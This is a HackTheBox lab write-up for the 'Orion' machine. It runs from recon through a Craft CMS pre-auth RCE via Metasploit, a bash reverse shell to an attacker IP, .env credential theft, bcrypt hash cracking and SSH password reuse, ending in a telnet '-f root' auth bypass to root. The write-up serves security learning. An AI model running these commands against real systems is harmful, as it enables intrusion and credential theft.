Orion - HackTheBox

Orion is a machine built around a single-page site for a fictitious telecom provider, "Orion Telecom", running on Craft CMS. A pre-authentication remote code execution vulnerability in the CMS provides the initial foothold; from there, database credentials leaked through an exposed .env file unlock a cracked password hash that grants SSH access, and a legacy authentication bypass in the box's local telnet service completes the escalation to root.

Recon

A first pass with nmap covers the standard TCP ports with service and default script detection:

sudo nmap 10.129.100.12 -sS -sC

Only two ports come back open: 22 (SSH) and 80 (HTTP, titled "Orion Telecom"). The web application is a single page with a contact form at the bottom and a "powered by craftCMS" footer credit - a solid hint for what to fingerprint next.

Before digging into the CMS itself, a directory brute-force pass is worth running in parallel:

gobuster dir -u http://orion.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

/admin redirects to a login page (/admin/login), alongside an /assets static folder and a /logout route. The login page footer discloses the exact CMS build: Craft CMS 5.6.16.

Foothold - Craft CMS Pre-Auth RCE

A known version number is the fastest way into a public exploit. A quick search on Sploitus for that Craft CMS build turns up a pre-authentication RCE. Running the corresponding Python exploit fails on the first attempt:

python3 Craft-CMS-5-6-16---RCE.py --u http://10.129.100.12 --cmd whoami

=== CVE-2025-32432 - Craft CMS Pre-Auth RCE Exploit ===
[-] Failed to obtain PHPSESSID

The script assumes a PHPSESSID cookie, but some Craft CMS deployments are configured to use CraftSessionId instead - which explains the failure and means several forks of this exploit exist for the two cookie conventions. Rather than hunting down a compatible fork, Metasploit already ships a module for the same CVE:

msf > use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432

After setting the target options, running the module returns a working Meterpreter session, confirming CVE-2025-32432 as the entry point.

For a more comfortable shell, a plain reverse shell is spawned through Meterpreter after setting up a local listener:

nc -lvnp 4444

meterpreter > execute -f /bin/bash -a "-c 'bash -i >& /dev/tcp/10.10.15.100/4444 0>&1'"

The shell lands as the web server user. Upgrading it to a fully interactive TTY makes the rest of the enumeration much less painful:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

(followed by Ctrl+Z, then stty raw -echo; fg and reset on the attacker side, to restore a proper terminal.)

Post-Exploitation - Credentials from a Leaked .env

Listing the web root shows the usual Craft CMS front-end files (index.php, assets/, cpresources/), but one directory up sits the full application root - config/, storage/, templates/, vendor/, and, notably, an .env file alongside its .env.example.* templates. Craft CMS stores its runtime configuration there, database credentials included:

CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

The database root password is reused directly for MySQL/MariaDB access:

mysql -u root -pSuperSecureCraft123Pass!

Inside, the orion database holds the full Craft CMS schema (66 tables). The users table is the one that matters:

SELECT * FROM users;

It returns a single admin account - username admin, email adam@orion.htb - with a bcrypt password hash. The hash is saved to a file and handed to hashcat in bcrypt mode:

echo '$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS' > hash.txt
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt.gz

User Access - Password Reuse over SSH

The email address adam@orion.htb lines up with a system user of the same name, so before touching the CMS admin panel with the cracked credentials it's worth trying them over SSH directly:

ssh adam@orion.htb

The cracked password works, granting an interactive shell as adam and access to the user flag.

Privilege Escalation - Legacy Telnet Auth Bypass

A local port scan from the adam shell shows a couple of services bound only to loopback, alongside the expected SSH, HTTP, and MariaDB:

ss -lntp

Port 23 (telnet) is listening on 127.0.0.1 only. Checking the installed package version:

$ dpkg -l | grep telnet
telnet   0.17-44build1

This build is affected by CVE-2026-24061. The vulnerable telnetd/ login chain trusts the client-supplied USER environment variable when negotiating an automatic login, passing it straight through as a command-line argument instead of treating it strictly as a username. Prefixing it with -f - the flag login uses to force a session for a given account without a password - makes the target log straight in as root:

env USER='-f root' telnet -a 127.0.0.1 23

The connection drops directly into a root shell, with the root flag then reachable.

Conclusion

Orion's chain leans on trust boundaries that shouldn't exist: a CMS version disclosure straight to a pre-auth RCE, an application .env file left reachable from a shell that had no business reading it, and a decades-old telnet auto-login quirk reintroduced by an outdated package. None of the individual steps are exotic, but together they form a clean, linear path from an anonymous web request to root.